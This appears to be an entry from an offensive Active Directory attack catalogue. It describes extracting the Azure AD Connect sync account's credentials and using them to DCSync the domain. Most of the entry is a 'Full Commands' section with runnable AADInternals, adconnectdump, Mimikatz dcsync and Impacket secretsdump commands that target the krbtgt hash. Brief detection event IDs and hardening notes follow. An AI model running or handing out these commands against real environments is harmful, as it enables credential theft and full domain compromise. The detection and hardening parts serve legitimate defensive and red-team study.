title: "Attack #74 β Azure AD Connect Credential Extraction" description: "Azure AD Connect synchronizes on-premises AD with Azure AD / Entra ID. The sync service stores a privileged AD account's credentials (the MSOL_ account orβ¦" category: active-directory subcategory: "Advanced & Post-Exploitation" tags: ["active-directory", "credential-access", "privilege-escalation", "sql-injection"] tools: ["Impacket", "Mimikatz", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Ten/π· Attack #74 β Azure AD Connect Credential Extraction.md"#
π· Attack #74 β Azure AD Connect Credential Extraction#
π How It Works#
Azure AD Connect synchronizes on-premises AD with Azure AD / Entra ID. The sync service stores a privileged AD account's credentials (the MSOL_ account or ADSync account) in a local database (encrypted with DPAPI). This account typically has DCSync rights by default β extracting its credentials from the Azure AD Connect server grants immediate DCSync capability.
βοΈ Prerequisites#
| Requirement | Detail |
|---|---|
| Local admin on Azure AD Connect server | To access the encrypted database |
| Azure AD Connect installed | With on-prem sync configured |
π» Full Commands#
# ββ AADInternals (PowerShell) βββββββββββββββββββββββββββββββββββββββββββββββββ
Install-Module AADInternals -Force
Import-Module AADInternals
Get-AADIntSyncCredentials
# Output:
# Domain: corp.local
# Username: MSOL_<hex>
# Password: <cleartext_password>
# ββ adconnectdump (manual extraction) βββββββββββββββββββββββββββββββββββββββββ
.\adconnectdump.exe
# Extracts MSOL_ credentials from the local SQL database
# ββ Now DCSync with the MSOL_ account βββββββββββββββββββββββββββββββββββββββββ
mimikatz.exe "lsadump::dcsync /domain:corp.local /user:krbtgt" exit
# MSOL_ account has DCSync rights by default
# ββ From Linux (after extracting credentials) βββββββββββββββββββββββββββββββββ
secretsdump.py corp.local/MSOL_<hex>:'<password>'@DC01.corp.local -just-dc-user krbtgt
π‘οΈ Detection β Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4662 | Security Log (DC) | MSOL_ account performing replication |
| 4624 | Security Log | MSOL_ logon from unexpected source (not the AD Connect server) |
π Attack Chain Context#
[Azure AD Connect] βββ Extract MSOL_ creds β DCSync β domain compromise
β
ββββ π MSOL_ account has DCSync rights by DEFAULT
ββββ π Compromise AD Connect server β full domain compromise
ββββ π Defeated by: harden AD Connect server, use gMSA for sync, monitor MSOL_ usage
β Attack #74 β Azure AD Connect complete.